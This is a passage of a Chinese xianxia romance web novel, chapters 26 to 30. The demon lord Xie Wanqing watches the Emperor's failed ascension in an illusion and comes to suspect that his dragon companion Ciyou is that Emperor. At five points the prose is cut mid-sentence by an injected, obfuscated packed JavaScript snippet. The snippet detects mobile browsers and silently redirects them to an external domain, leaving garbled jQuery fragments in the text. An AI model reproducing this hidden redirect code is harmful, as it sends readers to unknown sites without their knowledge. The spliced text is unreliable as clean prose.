烫人的指尖收回,侧颈被触碰的皮肤却像有余温残留,顺着侧颈蔓延到手臂,最终落在手腕,除了烫还附着些许不容忽略的痒。 不服输的逗弄结束,罪魁祸首毫不留恋抽身往前走,辞幽转头看向身侧,幻象早已消散。 那人只是嘴上想想,心中皆是反击后的欢快,哪有半点他的影子。 满口胡诌。 辞幽低头看向热度不减的手腕,一条红线贯穿半个手掌,从掌心不断绵延,滑过指尖摇头晃脑去追已经走出几步的人,迫不及待的谄媚之态让人不忍直视。 奈何谢晚卿在眼中由一变二,红线迟疑着顿住,不知该追哪一个,不多时两道长身玉立的身影再添虚幻之象,目之所及皆是一人,无数幻象哪里还数得清。 红线往下耷拉一瞬,又转头面对辞幽,若它是个人,只怕此刻该是满脸疑惑,不懂主人为何如此不争气,明知在幻境中还克制不住心底妄念,弄出这么多幻象。 一线一人沉默相对,一个不会说,一个不知该说什么。 “对了。”谢晚卿想起正事停下脚步,回头的瞬间遍地幻象消散无踪,他并未察觉,只望着辞幽认真道:“我破映心镜会暴露身份,闻惜就等着我上钩呢,得靠你……嗯?” 指尖似乎被什么东西勾勾绕绕,他疑惑着抬手查看,却连一点发丝都没找到,干干净净仿佛刚才那触感是他的错觉。 辞幽隔着衣袖按住手腕,一条谢晚卿看不见的红线从他脚边退回,却缩到一半便消失无踪,任它主人修为再高,也是覆水难收,退不回原位。 “这是装病?”见他莫名其妙捂着手腕,谢晚卿抱臂朝他扬扬下巴,“还是想说你手残了,动不了手?” “手残了也没事,不是还有嘴吗?本尊看你那张嘴挺能说的,正经的,不正经的,都没耽误你说,保不准你多说两句,这映心镜就直接被你气炸了。” 说别人嘴厉害,他那张嘴才是不饶人,记仇得很,与他调笑一句他便要加倍还回来,半点亏都不肯吃。 偏偏连那点刻薄之语都含着笑,语调懒懒散散,不像往人身上捅刀子,倒像是往心尖上咬了一口,还不肯松口故意叼着磋磨人,疼倒是不疼,就是细细麻麻的连着痒。 乱人心境还不自知。 辞幽放开手腕走过去,“旁人若伤了手,你也这般安慰一番?” “我敲锣打鼓安慰。” “看来吾还不够讨嫌,竟未能有幸听一听这敲锣打鼓。” “……” 有点真诚,还有点礼貌,但都不多,谢晚卿让他气笑了。 手指上那点没来得及深究的触感也因此忘之脑后,只剩一个似笑非笑的冷哼,若不是打不过,他甚至还想回敬个更没礼数的白眼。 要是帝尊在就好了,偶像肯定能帮忙治一治这条闷骚的龙。 回去一定多给偶像敬香,希望偶像在天有灵给那条龙托个梦,别成天想着飞升拿别人当工具人瞎**撩。 刚恢复成城主府的景象又开始淡化,眼前一片云雾缭绕,尘土飞扬的羊肠小径在脚下蜿蜒,尽头处是个遮风避雨都有些勉强的茶肆。 “你又想什么了?”谢晚卿回头询问。 辞幽没回答他,眼角眉梢带着些不易察觉的无奈。 谢晚卿:??? 荒山野岭,行人却络绎不绝,三三两两凑在一起急着奔向那茶肆,方寸之地的茶肆人满为患,交谈声随着谢晚卿走近传入他耳中。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794630|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝尊怎么不在九幽山的帝宫渡劫啊?” “那是飞升的雷劫,帝宫劈坏了多可惜。” “对对对,还是这荒山好,就是帝尊设了结界不让人靠近,我们只能在山下看看……” 帝尊两个字把谢晚卿定在了原地。 帝尊,是帝尊啊,我偶像啊! 我在这幻境里有机会见到偶像了!!! 什么映心镜什么闷骚老龙拿他当工具人,他全想不起来了,满脑子只剩下帝尊两个字。 “前辈,方才是我误会您了,对不住对不住,是我想帝尊想出来的,您别跟我一般见识……” 又是道歉赔罪又是恭敬行礼,这态度好得哪怕是从前借灵石时都比不上,辞幽看着他耳尖爬上的薄红眼角跳了跳,几乎可以确定他下一句就得是…… “前辈您能带我去见见帝尊吗?我保证不打扰。”谢晚卿一把拉住他,几根手指刚好卡住他的手腕,兴奋到完全感受不出这动作有多亲近了,越抓越紧,“我就远远看一眼帝尊,行吗?” 果然。 辞幽垂眸看看他激动到有些颤抖的手,再抬眼看看他紧张到不停抿唇的小动作,心情复杂。 每日都能看到也不见他多珍惜,变着法想甩开,如今又是恳求又是装乖,就只为了看一眼。 “帝尊……没什么好看的。”帝尊本人如是说。 “怎么可能!帝尊定是这世上最好看的人!”谢晚卿无比笃定,眼睛亮的惊人,“这世上怎么可能有人不想见帝尊!” 辞幽:“……”你。 “若有人能跟在帝尊身侧,做梦都得笑醒了。” 辞幽:“……”他跟着你你都不让。 “前辈前辈,你说万一帝尊也看见我了,我得跟他说什么啊?怎么拜见?” 辞幽默了默,轻声道:“尽量别与他动手。” 谢晚卿:? “若你能控制住的话。” 谢晚卿:?? 这忠告听着怪怪的,他琢磨许久才试探着追问,“我们家帝尊他……他老人家嘴上不饶人?” 又是一阵古怪的沉默。 “他的容貌……你见了或许会想敲锣打鼓安慰。” 谢晚卿:??? 27.第 27 章 帝尊的飞升雷劫声势浩大,绵延数百里,雷云遮天蔽日,只那荒山顶端亮如白昼,虽是幻境,谢晚卿被辞幽带上山时依旧感受到了快要撼动脊梁的威压。 若不是有人帮忙扛一扛,他在半山腰就得被压弯了背,寸步难行。 “这映心镜不愧是神器。” 这时候谢晚卿不骂闻惜了,能让他见到帝尊他还多了不少感激,面上一派心驰神往之色,“我只是想一想帝尊,这幻境就能还原帝尊当年渡劫的景象,古籍再多记载,也比不上亲眼见一见天地共主飞升的风姿啊。” 他说的是还原,而非幻境虚构,辞幽扶他往上走的动作微微一顿,不动声色问道:“古籍中有记载帝尊飞升?” “挺多的,但各有各的说法,不太一样。”谢晚卿兴奋的语气略有停滞,叹息道:“有的说帝尊飞升失败,在雷劫中身死道消,有的说其实帝尊渡过了雷劫,但天道不允他飞升,人哪能争得过天道,没几年帝尊便坐化了。” 这是后世流传最广的两种说法,但他哪种都不太信。 前者与帝尊的强大不符,天地共主,最厉害的人都渡不过飞升雷劫,这世上还有旁人能渡过? 后者更是奇怪,帝尊在世时开创修真界太平盛世,护佑天下苍生,功德无量,天道要是不允他飞升,那旁人就更没资格了。 “关于这场飞升……你知道真相吗?” 他期待的看向辞幽,辞幽却给不了答案。 因为不记得。 在辞幽的记忆里,他是承天命指引知晓飞升机缘在后世,所以沉睡等待,从不知自己已经飞升过。 既是失败过一回,辜负了天道垂青,早该身死道消,又何来苏醒寻找飞升机缘一说? 若真是如此,那这根本不是什么幻境,也不是谢晚卿心中所想映照而成,而是他心中所念,是他忘却的,想要找回的记忆。 他什么都记得,唯独忘了眼前之人和他心心念念的飞升…… 心绪万千尽数压回眼底,辞幽摇摇头,“吾不知。” “也是,你那时候应该已经沉睡了。”谢晚卿语气没有多失望,只是加快脚步往山顶走,越发抓紧他的胳膊,“当年帝尊渡劫无人陪伴,今日就当是我……我们送帝尊一程。” 他言语间再无激动与喜悦,时隔几十万年,送一个被他完全忘却的人,只凭那一腔靠后世传说得来的崇拜,微垂的嘴角也还能看出被努力压抑后还藏不住的难过。 辞幽有心推脱无法继续靠近山顶,可看着手臂上那用力到泛白的指尖,终究只剩心底一声轻叹,没能开得了口。 “轰隆!” 谢晚卿紧赶慢赶,好不容易在第一道雷劫降下时踏上山顶,只见一道白衣墨发的身影笼罩在雷劫中,四方天雷涌动,雷霆万钧之力汇聚一身,周围松石草木夷为平地,那人却背动他们岿然不动,只一头墨发微微扬起,不曾被伤及分毫。 “不愧是帝尊啊……”他被这场面震撼得不自觉呢喃出声,呆在原地直勾勾盯着安静接受雷劫洗礼的人。 修士渡劫都是九死一生,各有各的狼狈,如此轻松的他还是头一回见,那种强大根本无法用言语来形容,不知是出于慕强还是别的什么情绪,这一刻他心跳声大得在他耳朵里已经盖过了雷声。 悸动,崇拜,与有荣焉……太多情绪充斥在一起,气血都跟着上涌,屏住呼吸一动不动,却又不自觉去想后世流传的,那人注定失败的结局。 数道雷劫过去,那一身白衣连衣角都没被劈碎半点,他越看越忍不住,不顾天雷滚滚要往前走,被辞幽扣住手腕按在原地,“不可。” 幻境中皆是未知的危险,何况渡劫本就凶险,由不得旁人参与,道理谢晚卿都懂,但他控制不住。 “雷劫根本伤不到帝尊,他怎么可能渡劫失败身死道消?” 谢晚卿脸上是少有的执拗,“我看一眼正脸,我看看他的表情,除非是他自己不想,否则八道雷劫都轻松渡过,怎么会……” “天命难违。”辞幽嗓音无波无澜。 四个字堵住了所有执拗与疑惑,谢晚卿顺着他的目光看去,原本一片焦黑的地上多了几滴鲜血,就在帝尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799066|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚边。 并非伤重吐血,也非走火入魔,而是从左手手腕滴落,一条小指粗细的黑线雨后春笋一般从手腕上破土而出,整只左手鲜血淋漓,那手的主人却恍若不觉。 或者说早有预感,明知会如此,看都不看一眼,任由血滴在脚边汇聚,头顶第九道雷劫迟迟不降。 白衣之下涌出许多黑线,密密麻麻如同黑雾一般将他整个人笼罩其中,很快又如幼苗夭折一般长着长着便在空中折断,自行退回体内再无踪迹。 只手腕那一条黑线长得飞快,已然垂落在地,有自己意识似的左右辨别方向,最终蜿蜒着朝他们这两个旁观者而来。 “那是……是……”谢晚卿不敢置信的看着这一幕,“因果,是帝尊的因果吗?” 他想找辞幽求证,可即便辞幽还没开口,他心中也有了数。 这就是因果。 常人因果不可窥见,却每日都会与旁人结下新的因果,有的萍水相逢,有的生死之交,这一生见过的,听说过的人,都可能结下因果。 帝尊受世人朝拜,因果无数,自然密密麻麻如黑雾一般,但方才显现出来的却是道道残线,显然是断尽因果,只为了却尘缘飞升。 唯独左手手腕上那条,看那粗细便知牵绊有多深,帝尊却任其放肆,不斩不断,全然不顾头顶雷劫警告。 紫金色的天雷缓缓散去,第九道雷劫再不会降下了,九为极,缺一不可。 谢晚卿怔愣着抬头望向放晴的天,心中五味杂陈。 不是渡劫失败,也不是渡过雷劫却天道不允,是帝尊未曾斩断最后一道因果,放不下一段尘缘。 “轰隆隆!” 晴空万里之际雷声滚滚,紫黑色的闪电划破日光纷踏而至,是为——天罚。 那条象征因果的黑线越来越长,谢晚卿僵在原地,瞳孔倒映着眼前景象。 天罚之下,万千天雷争先恐后落在那道背对他的身影上,黑色的因果线被鲜血染红,疯狂生长,最后似乎被一道无形的屏障拦住,定在原地。 离他不过咫尺。 28.第 28 章 满目血色和漫天天雷在蛛网般的裂痕中褪色碾碎,那条近在咫尺的因果线也随着幻境被打破像是一场单方面的臆想。 “男姐姐又是你啊,你还要进去吗?” 小器灵扯了扯谢晚卿的衣角,谢晚卿如梦初醒,下意识抓住余光中那一抹白。 雪白的发丝绕进指尖,他有点记不清自己到底有没有见到最后那一幕,所有幻境碎裂的瞬间,他好像看到帝尊的一头墨发染了白。 在刺目的血色中,发梢上的白太过显眼。 “想要么?” 头顶传来很温和的询问,给人一种只要回答“想”,那就什么都可以被满足的错觉,谢晚卿抬眼看过去,嘴唇动了动却一时间不知道该说什么。 辞幽比他高了些,两个人并肩站在一起,他要微微仰头才能对视,但此刻目光没能交汇,因为辞幽看的是那缕被他抓在手中的白发。 他抓着人家一缕头发,这头发的主人问他……是不是想要? 身体发肤受之父母,恩爱道侣更是有结发为夫妻的佳话流传,这话问得随意,却着实算不上正经。 强大到连飞升雷劫都伤不到分毫,逼得天道降下天罚的帝尊,要是这么不正经……那就真是见了鬼了。 谢晚卿暗叹自己见了偶像太激动,脑子都有点懵了,竟然会犯这种离谱的疑心病,若无其事捻了捻手中白发,眼尾微挑,“我要的话……你给吗?” 他是习惯性挑衅回去,但说完就有些后悔了,他怀疑这老不正经的真敢给。 几息之内的沉默显得格外漫长,意料之外的,老不正经竟然没继续这个话题,反而唇角溢出一声轻笑,“吾带你见你们家帝尊,带你出映心镜,还要被迁怒,《魔界新规》中可有此等规矩?” 你们家帝尊…… 谢晚卿表情僵了一下,虽然他平时总说我们家帝尊如何如何,可从别人嘴里听到这么说,尤其是辞幽这个帝尊好友嘴里,莫名有些羞耻。 “迁怒谈不上,就是有些唏嘘罢了,帝尊那样的人,身死道消竟然会是因为一道因果,要我说那因果连着的不会是你吧?”他放开那缕白发,从头到脚把面前的男人重新打量一遍,“你是帝尊至交好友,幻境中那因果线也是奔着我们的位置。” “说不定现在你手上也有一条同样的因果线?” 他姿态自然的抓起辞幽左手,圈着手腕半开玩笑仔仔细细查探。 辞幽就这么看他透着粉的指尖在自己手腕上摸索,指腹的温度几乎要透过皮肉染上腕骨,连带脑海中逐渐复苏的记忆都不再陌生,仿佛也得了这份温热。 那只手腕上什么都没有,谢晚卿也说不清心里是什么滋味,这试探好像有点多此一举,但不这么做他还有点不甘心。 正暗暗消化着这种矛盾的情绪,一抬眼正看见某人举着另一只手腕送到他眼前。 没出声,但他领悟得很清楚,甚至还能想象到如果辞幽开口,大概会说:吾这只手腕也可以给你摸。 他没好气的把那只手拍下去了,懒得搭理。 刚看见偶像在自己面前经历天罚,约等于死在自己眼前,心情实在算不上好。 “男姐姐?”小器灵眨巴着大眼睛看他们,很努力想听懂这是在说什么,可惜还是一头雾水。 谢晚卿俯身要哄她,一只手先一步把小器灵带过去,各种牡丹样式的玩具信手拈来,随便拿出块灵石捏一捏便惟妙惟肖,没一会儿就把小器灵哄得高高兴兴。 这是他第一次看辞幽主动接触旁人,一时间还真看不懂这是什么意思。 “男姐姐,你也来玩啊!”小器灵抱着一堆玩具朝他招手。 “吾陪你便好。”辞幽侧身挡住小器灵视线,“他还有事要忙。” 谢晚卿盯着他轮廓分明的侧脸有些愣神。 没什么事要忙,现在该把小器灵哄高兴了,让她再把他们拉进小世界,但这件事被辞幽抢走了。 还要被迁怒,迁怒…… 想起辞幽这句话,谢晚卿突然有个离谱的猜测。 这人不会是看他心情不好才帮忙哄小器灵的吧? 刚压下去的疑心病又有点犯了,他总觉得辞幽对他情绪的感知过于敏锐,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804167|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是跟了他一百年的两个护法都没这么了解他。 还有去见帝尊前的那几句忠告,就着一些影影绰绰的怀疑去联想,也有那么点似是而非的意思了。 谢晚卿快把辞幽给盯穿了,试探的话在嘴边绕了几圈,最终也没说出口。 不可能的,辞幽要是帝尊,他再厚的滤镜也得碎成渣,怕是会当场粉转黑,帝尊和辞幽估计就是爽文男主和他那个不着调的男配好友。 但怀疑的种子一旦埋下就注定没法装无事发生,回到小世界验收那些女子的背诵成果,谢晚卿都不自觉边听她们一个个背边反复回想。 想所有辞幽身上可疑的地方。 最后从记忆深处挖出一种味道,淡到几乎要闻不出来的香火味,那时候他以为自己闻错了,现在依旧不太确定。 “主子,你让准备的我都交代下去了。”云华回来复命,递给他一份刚绘制好的小世界地图。 “我这边也准备好了。”无沉手里拿着一沓符咒,“你确定林栖会被带进来?这都过去两日了,一点动静也没有。” “会,就算洛启明没办法,也会有人教他怎么避开仙宫行事。”谢晚卿坐在桃林的秋千上,有一下没一下的晃悠,“安心等着,十日八日也等得起,到时候男的无所谓,那些女子都看好,一个不落的带出去。” 辞幽一如既往的安静,站在秋千旁看他们谈正事,只偶尔顺着谢晚卿的目光扫一眼远处玩水的桃若。 “我记得若若的夫君是叫赵煦?”谢晚卿转头看向他。 辞幽收回目光跟他对视一眼,“嗯。” 一个问一个答,谁也不多说,这突兀的问题好像俩人在打什么哑谜,听得其他人云里雾里。 “行了,天色不早了,本尊回去睡觉了。”谢晚卿起身拉着辞幽,“走吧,男宠跟本尊一起睡。” 众人:??? 没听错吧,最不爱睡觉的魔尊主动要睡觉? 天都没黑呢,还特意拉着男宠一起? 无沉面色纠结的拦住他,眼神一个劲往辞幽那瞟,“你要……要宠幸他?” 29.第 29 章 “别忘了你是帝尊的,帝尊才是正宫。” 无沉眼神有点发飘,真让他管谢晚卿的房中事他其实也不太敢,但他管不住嘴,越说越急,“你跟别人都做不得真,风流成性不好。” 谢晚卿少有的怀疑自己。 明明当年是个野性难驯的小魔头,狼崽子似的逮谁咬谁,结果当儿子养了这么多年,小魔头好像让他给养傻了,倒霉孩子整日想着他这便宜爹给帝尊守身如玉。 不过说起帝尊……帝尊那舍不下的因果难道也是风流债? 他又想起了幻境最后的那一幕,时隔两日不仅没淡忘,反而越发清晰,要把人撕碎的天罚,染了血的白衣,还有那道血溅满地都未曾弯下半分的身影。 “为何不答?” 出神被身侧传来的声音打断,谢晚卿下意识看过去,正对上辞幽一本正经的脸,“他问你可是要宠幸吾。” 一派仙风道骨之姿,脸皮却厚得出奇,旁人问也就罢了,他这“野男人”还好意思亲自问。 这老流氓要是帝尊…… 谢晚卿表情有点牙疼,明知不可能也怎么想怎么难受,往日还能跟他对着浪两句,今日没了兴致,摆摆手谁也没搭理,身影消失在原地。 他一走,辞幽更不会理旁人,离开前扫了无沉一眼。 那眼神看得无沉头皮发麻,不知怎的竟在里面看出点欣赏或者赞赏之类的意思。 那日过后谢晚卿就不怎么出雪山了,有辞幽借他灵力驱寒,他索性把整座雪山都转了一遍,翠绿的草木盖着层薄薄的雪,四时花色争奇斗艳,不觉得冷时看这四季杂糅的景色倒还真品出几分雅致。 后山的莲池边上皆是红梅,冬夏之景交叠,他在池边驻足看了许久,连连感叹,“为了赏景不惜操控时令,不愧是龙族。” 辞幽:“龙族不兴此道。” 谢晚卿意外的看过去,“那这是给谁看的?” 给谁看呢?无非是山中终年是冬景,有人看不惯,闹着要春日的绿茵,夏日的莲池,秋日的枫叶。 闹一闹总得有人哄,哄好了,顺了心,赏景时又乐了,笑得眉眼弯弯。 倒是好哄。 辞幽不语,只眼神莫名的看他,把谢晚卿看得心里发毛,古怪的皱皱眉,“难不成这你也忘了?你自己的住处怎么回事你也不记得?” “许是年纪大了。”辞幽道。 轻飘飘几个字,听得谢晚卿心里咯噔一声,总感觉他在阴阳怪气。 难道是我在心里骂他老不正经他也能知道? 老不正经,老流氓。 “在心里骂吾?” 谢晚卿:!!! “你真能听见?” 辞幽失笑,“猜的,嘴上没骂,应当就是在心里骂,总不至于对吾有什么好脸色。” 谢晚卿:“……”你还挺有自知自明。 后山他连着来了两日,不知道龙族喜不喜欢这景色,反正他是挺喜欢,不料第三日清晨便开始乌云蔽日,瓢泼大雨下了一整日,整个小世界都在下雨,雪山上的雪永远不会停,裹挟着风雨不便出门,两人在殿内闲来无事只能下棋。 自从到了魔界就没有一日不忙的,一百年来谢晚卿还是头一回能这么清闲,没骨头似的靠在椅子上下棋,无所谓输赢,纯是为了解闷。 辞幽落下一颗白子,语气随意,“喜欢这里,还是喜欢魔界?” “喜欢仙宫。”谢晚卿捏着几颗黑子把玩,表情玩味,眼里的野心毫不掩饰,“我本来就该在那,有人抢了我的,我得拿回来,我若是没堕魔,仙宫那位现在就差不多该传位给我了。” 他穿到这里就有了目标,当炮灰是不可能的,既然有能力,他就得往上爬,谁不想出人头地,哪怕堕魔了也只是多走点弯路罢了,动摇不了他的野心。 “那个位置早晚是我的,我答应帝尊会带他回去,如果可以,我想做下一个帝尊。” 黑子压着白子落下,是坦白也是警告。 他不会给任何人当工具人,什么情劫什么飞升,谁也别想挡他的路,他有他自己的路要走,让他做垫脚石,小心硌坏了脚。 辞幽没出声,也不知是听明白了没有,谢晚卿不动声色去看他的表情,只看到一抹若有似无的笑。 好像还有点欣慰的意思。 雨下了一天一夜,两人的棋也数不清下了多少局,谁也没张罗停,最后还是第二日云华的传音打断了这难得的清闲。 “主子,若若一直梦魇,叫不醒。” “没事,让她睡着吧,看好其他人,人别丢了就行了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815425|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >上千对道侣一直被绑着,谢晚卿一个都没放,男人全都封印修为,女人背完《魔界新规》大多醒悟些了,也没再闹着要见夫君。 起初夜里还挨家挨户送回去,后来就不送了,任由小世界规则入夜后给抓回去,三番五次挑衅规则,越发嚣张。 谢晚卿对小世界主人的挑衅换来了三日暴雨两日鹅毛大雪,整个小世界的天气开始阴晴不定,再难有一整日的阳光明媚。 他根本不出雪山,对此完全无所谓,整日缩在殿内就这么耗着,大有赖着不走的意思,只等小世界主人沉不住气现身。 到最后不只桃若梦魇不醒,许多女子也陆续开始陷入梦魇,十日后除了云华再没有一个女子是清醒的,谢晚卿估摸着时候差不多了,当夜便不熬了,准备睡一觉。 辞幽坐在书案前看《魔界新规》,他手里那本都不知看过多少遍了,还不厌其烦的看,谢晚卿躺在榻上瞥了几眼,实在不懂到底有什么好看的。 一条上古时期的龙,根本用不上那玩意,就算看得倒背如流了又能怎么样?不属于魔界他也管不着。 “啪嗒。” 一颗小珠子落在书页上,辞幽抬眼望去,谢晚卿枕着胳膊歪头笑了一下,“你不睡?” 辞幽眼神带了些询问的意思。 “听不懂?”谢晚卿哂笑一声,“我叫你过来一起睡,这回说得够清楚了吗?” “更不懂了。”辞幽缓步走到榻前。 谢晚卿啧了一声,“怎么,你怕?” 没说怕什么,但辞幽看得透彻,过去半个月他还没死心,那些关于帝尊的怀疑时不时就要试探一番。 躲不过去,他太警惕也太聪明,起了疑心便要解疑,否则绝不肯安生。 衣袖被两根手指捏住,漫不经心捻了两下,那手的主人挑挑眉,“辞幽,你没做亏心事怕什么啊?” “做过不少。” “比如?” 那两根手指被人抓了去,虚虚的攥在手中。 谢晚卿一愣,再去看他的表情,他脸上就差写着四个大字了——比如现在。 想骂人。 但勉强忍住了,等今夜试探玩再决定能不能骂。 谢晚卿都懒得再开口,直接朝里侧扬了扬下巴,示意辞幽自己上来躺着。 30.第 30 章 谢晚卿没喝酒,却再次睡得很快,明明身边多了个人该不适应,困这种陌生的感觉却来势汹汹,不知不觉就进了梦乡。 梦里一头短发的少年穿着不太合身的衣袍,直着下巴坐在回廊上唉声叹气,“又在下雪,一年四季都是冬天,也不知道现在外面是什么季节,你们龙真奇怪,性格高冷就算了,住的地方也这么冷……” 在他身后,占了大半个宫殿的白龙闭目修炼,眼皮都不曾抬一下,一人一龙一个喋喋不休,一个沉默不语。 本该尴尬的气氛,不知为何有些温馨,所有吵闹都被默许,透着几分纵容的意味。 “一年了,你跟我说的话不超过十句,我早晚要被你的冷暴力逼疯。” 少年无奈的摇摇头,走进殿内趁白龙不注意,快速摸了一把龙尾,手法娴熟一看就是惯犯。 白龙抬眼看过去,他也不害怕,微微歪头促狭的笑笑,“我们下山去当皇帝吧,我知道你肯定特别厉害,到时候你就是真龙天子,我帮你制定律法,保证百姓安居乐业。” 许是他说话太过中二,白龙忍不下去了,口吐人言,“吾要修炼,飞升。” 少年愣了愣,脸上笑容缓缓褪去,连同血色都跟着消散,过了许久才找回自己的声音,肉眼可见的慌乱,“那你飞升了是不是就不要我了?” 一个人突然来到陌生的世界,被困在雪山上走不掉,这一年里他从未想过连这条陪着他的龙都会离开,骤然面对这个现实,脸色越发惨白。 “我一个人在这里,是不是很快就会冻死?我死了还能……能回到原来的世界吗?” 到底是年纪还小,再怎么极力忍住,哽咽的哭腔还是溢了出来,整日活泼吵闹的人红着眼眶满眼都是茫然和对死亡的恐惧。 盘在不远处修炼的白龙不知何时变成了人身,开口叫他,语气一如既往没什么起伏,“过来。” 少年没动,无声无息落下两行泪。 “吾等你。”白衣墨发的男人走到他身前,“等你离开,吾再飞升。” “吾在这里,你不会死。” 梦境太过朦胧,看不到两个人的脸,连周围景色都是模糊的,谢晚卿越是想看就越看不清,胸口堵得发懵,急切开口想问些为什么,猛地从睡梦中惊醒。 睁眼时眼神还有些迷茫,依稀记得自己做了个梦,梦到了什么却全无印象。 他平时睡觉都费劲,从来没做过梦,不知为何,只梦了一回便觉得这个被忘记的梦十分重要,心里空落落的。 “到底是什么……” 谢晚卿呢喃着要爬起来,手往下借力时才发觉有点不对,触感不是床榻的硬,也不是被褥的软,而是有温度的,很紧实的触感。 等会儿?有温度?! 落在梦中的神志被找回,谢晚卿眼神终于有了焦距,看清掌下的衣袍人都麻了,慌乱中手下一个脱力又跌了回去。 “砰”的一声,下巴砸在温热宽阔的胸膛上,撞得生疼,他却顾不上揉,趴在男人身上脸都白了。 他又睡得很香,又是和趴帝尊玉像上睡一样的姿势,一次是巧合,现在第二次呢? 昨夜他想要的试探,那么迫不及待,现在真试探出了结果,反倒自己先乱了阵脚,趴在那许久都没能给出反应。 粉饰太平还是摊牌追问,突然就怂得离谱,二选一的答案愣是选不出,从前那些牵动怀疑的线索越发清晰。 小世界能幻化魔宫,却幻化不出帝尊玉像,说明玉像很可能不是死物。 那日幻境中他最后看到的,帝尊发梢染了白真是看错了吗?如果没看错,白衣墨发是不是就变成了白衣白发? 因果线离他那么近,有没有可能是奔着他来的? 还有那道背影,身形跟辞幽当真不像吗?辞幽总是跟着他,不是在他身后就是在他身侧,他看到背影的次数不多,当日那些隐隐约约的相似被忽略掉,现在一回想,不像他认不出,倒像是……不敢认。 弄出这么大动静,只有他趴在这思绪兵荒马乱,身下的男人连心跳都没什么变化,他不信辞幽没醒,定了定神仰头看过去,正对上男人看他的目光。 一如既往的温和平静,丝毫没有可能暴露了身份的紧张。 辞幽安静的垂眸看他,指尖勾住被他压住的发丝,根本没从他身下扯出去,修长的手指带着发丝蜷了蜷,指尖克己复礼,不曾逾矩分毫,那一点发丝却若有似无擦过他的侧脸,带起一点痒意。 说有意调情也行,无心之举也说得通,倒是像个正人君子,挑不出错。 斯文有礼的耍流氓。 谢晚卿乱糟糟的脑子里竟然分出了一点空位,给他这个动作下了定义,没忍住笑出了声,自己都说不清是被逗笑还是被气笑的。 辞幽太淡定了,淡定得谢晚卿都开始怀疑会不会是自己想多了,几息过后,谢晚卿搂住他的脖子把脸贴过去蹭了蹭,“昨晚睡得不错,真人抱着比玉像舒服多了,不如回魔界本尊就娶了你吧。” 真人和玉像,是帝尊的真人和玉像,还是一个真正的人和玉像,全看听的人怎么理解。 “既如此,吾带多少嫁妆合适?可有十里红妆?” 所有试探都被按下,只剩这么一句能听出笑意的调侃。 哪怕不是帝尊,只是辞幽,这试探他会听不出吗?多日来一次次疑心,他会察觉不到吗? 两人这种心照不宣里,有多少是辞幽的默许?辞幽为何要纵容他的越界试探,还不主动澄清? 不能细想,越想越乱。 思绪纷飞间,谢晚卿又闻到了那股淡到快要闻不出的味道,就在辞幽身上,他这样亲近的蹭一蹭才闻到,是他闻了几百年的香火味。 他给帝尊的香火都有他的灵力和气息,这样供奉才最诚心,那些香他一根一根亲手处理,味道和旁人的香不一样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822510|151675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你是帝尊”四个字到了嘴边,很快就被谢晚卿嚼碎后囫囵着咽下。 若帝尊诚心想瞒,他问了也没用,凭借这些线索去对峙更不可能,许多都是他的猜测,唯一算得上证据的香火味也可能是在他寝殿中染上的。 他还记得那日再见辞幽,人就站在他寝殿中,来去自如。 试探来试探去,还是空有怀疑,没有证据,但那被压制多日的疑心究竟成长到何种程度,只有这疑心的主人知晓。 “不见你擦胭脂,怎么身上这么香?”谢晚卿用力在男人侧颈处嗅了嗅,再抬眼时笑容轻佻,“本尊穷得都要卖身了,没聘礼给你,嫁妆就算了,人来了就行。” 